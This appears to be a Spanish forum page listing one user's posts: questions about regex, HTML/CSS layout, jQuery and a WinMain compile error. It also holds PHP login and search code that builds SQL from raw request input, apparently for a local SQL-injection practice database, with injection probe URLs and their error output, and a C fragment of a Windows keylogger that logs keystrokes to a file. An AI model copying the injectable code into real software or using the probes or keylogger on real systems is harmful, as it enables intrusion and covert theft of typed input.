Alguien conoce la expresion regular que me serviria para detectar si en un String, los primeros 7 caracteres son "#cadena" ? Voy a recibir cosas del tipo "#cadena 1235", "#cadenafeaebe", #cadenaf24eawe", etc.
Gracias!
Gracias!
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
public class Person{
public class Address{
}
}
Address address1 = new Address();
<a href="archivo.pdf">
<body>
<div class = "fons">
<div class = "capcalera">
<div class = "name">
</div> <!--name-->
<div class = "login">
<?php include 'div_de_login.php'; ?>
</div> <!--login-->
<div class = "navigation">
<?php include 'menu_navegacio.php'; ?>
</div> <!--navigation-->
</div> <!---capcalera-->
<div class = "contingut">
<?php include 'l_orquestra.php'; ?>
</div> <!--contingut-->
<div class = "footer">
</div> <!--footer-->
</div> <!---fons-->
</body>
.footer{
position: relative;
margin-bottom: 20px;
}
$(document).ready(function(){
$(".boto_els_musics").click(function(){
$(".contingut").load('els_musics.php');
});
/*---------------------------------------------------*/
/*-----------FUNCIONS PER L'SLIDER JQUERY------------*/
/*---------------------------------------------------*/
function rotateBanners(elem) {
var active = $(elem+" img.active");
var next = active.next();
if (next.length == 0)
next = $(elem+" img:first");
active.removeClass("active").fadeOut(700);
next.addClass("active").fadeIn(700);
}
function prepareRotator(elem) {
$(elem+" img").fadeOut(0);
$(elem+" img:first").fadeIn(0).addClass("active");
}
function startRotator(elem) {
prepareRotator(elem);
setInterval("rotateBanners('"+elem+"')", 4000);
}
/*---------------------------------------------------*/
/*---------------------------------------------------*/
});
<div class = "navigation">
<ul>
<li>
<a href = "#"><h2>opcion1</h2></a>
</li>
<li>
<a href = "#"><h2>opcion2</h2></a>
</li>
</ul>
</div>
<div class = "boton">
<a href = "ejemplo.php">Boton_ejempl</a>
</div>
.boton{
background-color: black;
opacity: 0.3;
}
.boton a{
color: white; /*color del texto que quiero que sea blanco de verdad*/
}
<div class="cualquiercosa">
<a href ="archivo.php">EJEMPLO</a>
</div>
.cualquiercosa{
text-align: center;
padding-top: 10px;
<input class = "ejemplo">
<?php
$_SESSION['s_username'] = $username;
?>
<div class = "login">
<div class = "titol_login">
<h2>ACCÉS DELS MÚSICS</h2>
</div> <!--titol_login-->
</div> <!--login-->
.login{
height: 170px;
width: 370px;
margin-top: 10px;
margin-right: 10px;
margin-bottom: 10px;
margin-left: 10px;
float: right;
border: 10px solid #FE2E2E;
background-color: yellow;
border-top-left-radius: 40px;
border-bottom-right-radius: 40px;
border-bottom-left-radius: 40px;
}
.titol_login{
height: 40px;
width: 370px;
position: absolute;
background-color: blue;
border-top-left-radius: 20px;
background-color: blue;
text-align: center;
}
<div class = "fons">
<div class = "capcalera">
<div class = "name">
</div> <!--name-->
</div>
</div>
body {
background: url("media/background.gif");
}
.fons {
height: 1000px;
width: 1200px;
margin-right: auto;
margin-left: auto;
margin-top: 100px;
background-color: green;
}
.capcalera{
height: 200px;
width: 1200px;
margin-top: 200px;
background-color: white;
}
INSERT INTO mi_tabla (pasword) VALUES ( hash('sha512',1234) );
http://localhost/pruebas/producto.php?id='
pg_exec(): Query failed: ERROR: unterminated quoted string at or near "'''" LINE 1: select * from productos where referencia = ''' ^ in C:\...etc etc
http://localhost/pruebas/producto.php?id= cast(version() as int)
<?php
session_start();
include 'pg.inc.php';
//Si se ha rellenado anteriormente el formulario, comprobar los datos
if(isset($_POST["nombre"])){
//Sentencia SQL a ejecutar
$sql = "SELECT * FROM usuarios WHERE nombre = '".$_POST["nombre"]."' AND contrasena = '".$_POST["pwd"]."'";
echo $sql;
$resultado = ejecutar_SQL($conexion,$sql);
//Si hay filas, los datos de acceso eran correctos
if(numero_filas($resultado) != 0){
//Obtener los datos del usuario loggeado
$fila = fila($resultado,0);
//Almacenar su ID en los datos de la sesión
$_SESSION["usuario"] = $fila["id"];
//Dar la bienvenida
echo "<h3>Login OK</h3> Bienvenid@ ".$fila["desc"]."<br> Pulse <a href='producto.php'>aqui;</a> para continuar.";
}
else{
echo "<h3>Login fallido</h3>";
}
}
//Si no se ha iniciado la sesión, mostrar un formulario de logon
if(!isset($_SESSION["usuario"])){
print '<form method="POST" action="login.php">
<table border="1">
<tr>
<td colspan="2"> Introduzca sus datos de acceso</td>
</tr>
<tr>
<td>Nombre: </td>
<td><input type="text" name="nombre" id="nombre"></td>
</tr>
<tr>
<td>Clave: :</td>
<td><input type="password" name="pwd" id="pwd"></td>
</tr>
</table>
<input type="submit" value="Enviar">
</form>';
}
?>
<?php
//-----------------------Encabezado donde se muestra el nombre de usuario-----------
session_start();
include 'pg.inc.php'; //Funciones de operaciones con la base de datos
if (isset($_SESSION["usuario"])){
//Obtener el nombre del usuario
$sql = "select * from usuarios where id=".$_SESSION["usuario"];
$resultado = ejecutar_SQL($conexion,$sql);
$fila = fila($resultado,0);
$usuario = $fila["desc"];
//Mostrar un indicador del usuario logado
echo '<table border="1" width="100%">
<tr width="100%"><td>
HA INICIADO SESSION COMO: '.$usuario.'</td></tr></table><br>';
}
else{
//Si no está logado, redirigir a logon
header('Location: login.php');
}
//-----------------------------------------------------------------------------------
//----------------------Sección para la búsqueda de productos------------------------
//Si se indicó el producto, buscarlo
if(isset($_GET["id"])){
$sql = "select * from productos where referencia = '".$_GET["id"]."'";
$resultado = ejecutar_SQL($conexion,$sql);
if(numero_filas($resultado) == 0){
echo "Referencia no encontrada";
}
else{
$fila = fila($resultado,0);
echo "<h3>Datos sobre el producto:</h3>";
echo "<table border=1>";
echo "<tr><td>Referencia</td><td>Nombre</td><td>Precio</td></tr>";
echo "<tr><td>".$fila["referencia"].'</td><td>'.$fila["nombre"].'</td><td>'.$fila["precio"].'</td></tr>';
echo "</table>";
}
}
//Mostrar formulario "Buscar"
echo '<h3>Buscar Producto</h3>
<form method="GET" action="producto.php">
Buscar: <input type="text" id="id" name="id">
<input type="submit" value="Buscar">
</form>';
?>
<?php
session_start();
include 'pg.inc.php';
//Si se ha rellenado anteriormente el formulario, comprobar los datos
if(isset($_POST["nombre"])){
//Sentencia SQL a ejecutar
$sql = "SELECT * FROM usuarios WHERE nombre = ".$_POST["nombre"]." and contrasena = ".$_POST["pwd"];
echo $sql;
$resultado = ejecutar_SQL($conexion,$sql);
//Si hay filas, los datos de acceso eran correctos
if(numero_filas($resultado) != 0){
//Obtener los datos del usuario loggeado
$fila = fila($resultado,0);
//Almacenar su ID en los datos de la sesión
$_SESSION["usuario"] = $fila["id"];
//Dar la bienvenida
echo "<h3>Login OK</h3> Bienvenid@ ".$fila["desc"]."<br> Pulse <a href='prducto.php'>aqui;</a> para continuar.";
}
else{
echo "<h3>Login fallido</h3>";
}
}
//Si no se ha iniciado la sesión, mostrar un formulario de logon
if(!isset($_SESSION["usuario"])){
print '<form method="POST" action="login.php">
<table border="1">
<tr>
<td colspan="2"> Introduzca sus datos de acceso</td>
</tr>
<tr>
<td>Nombre: </td>
<td><input type="text" name="nombre" id="nombre"></td>
</tr>
<tr>
<td>Clave: :</td>
<td><input type="password" name="pwd" id="pwd"></td>
</tr>
</table>
<input type="submit" value="Enviar">
</form>';
}
?>
<?php
//Abrir una conexión con la Base de Datos
function conectar($host, $db, $usuario, $contraseña){
return pg_connect("host=$host dbname=$db user=$usuario password=$contraseña");
}
//Cerrar una conexión
function cerrar_conexion($conexion){
pg_close($conexion);
}
//Ejecutar una consulta SQL sobre una conexión
function ejecutar_SQL($conexion, $cadena){
return pg_exec($conexion, $cadena);
}
//Obtener el número de filas de un resultado
function numero_filas($resultado){
return pg_numrows($resultado);
}
//Obtiene la fila número $i de un resultado
//Para obtener un campo se usa la sintaxis $fila_obtenida["nombre-de-la-columna"]
function fila($resultado, $i){
return pg_fetch_array($resultado, $i);
}
//Nos conectamos a la bd
$conexion = conectar('localhost', 'SQL_injection', 'postgres', '***********');
?>
Warning: pg_exec(): Query failed: ERROR: column "faqef" does not exist LINE 1: SELECT * FROM usuarios WHERE nombre = faqef and contrasena =... ^ in C:\xampp\htdocs\sql_injection\pg.inc.php on line 14
SELECT * FROM usuarios WHERE nombre = faqef and contrasena = fewe
f = fopen ("C:/KEYS.TXT", "a+");
if (f==NULL){
exit(0);
}
HHOOK keyboardHook = SetWindowsHookEx (WH_KEYBOARD_LL, HookKey, hInstance, 0);
MessageBox(NULL, L"Click to exit", L"Keylogger", NULL);
UnhookWindowsHookEx(keyboardHook);
fclose(f);
return 0;
Buenas! Estoy programando algo usando la API de windows pero me tira siempre un error. El trozo de codigo que falla és la llamada a la funcion WinMain:
code]int WINAPI WinMain(HINSTANCE hinstExe, HINSTANCE, PTSTR pszCmdLine, int)
error C2731 'WinMain': no se puede sobrecargar la función